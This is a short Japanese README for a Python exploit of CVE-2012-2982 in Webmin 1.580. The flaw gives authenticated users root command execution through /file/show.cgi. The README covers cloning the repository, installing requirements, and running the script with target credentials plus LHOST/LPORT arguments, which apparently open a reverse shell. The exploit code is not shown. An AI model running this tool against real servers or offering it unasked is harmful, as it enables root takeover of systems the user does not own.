
CVE-2012-2982 用の Python エクスプロイト
このPythonスクリプトは、Webmin 1.580の脆弱性CVE-2012-2982を対象としています。この脆弱性は /file/show.cgi コンポーネントに存在し、ファイルマネージャーモジュールにアクセスできる認証済みユーザーが、root権限で任意のコマンドを実行できるようにします。
テスト済みPythonバージョン: Python 3.8.5
必要なpipパッケージ: secrets
git clone https://github.com/OstojaOfficial/CVE-2012-2982.git
pip3 install -r requirements.txt
エクスプロイトを実行するには、以下のコマンドを使用します:
python3 exploit.py <IP> <Username> <Password> <LHOST> <LPORT>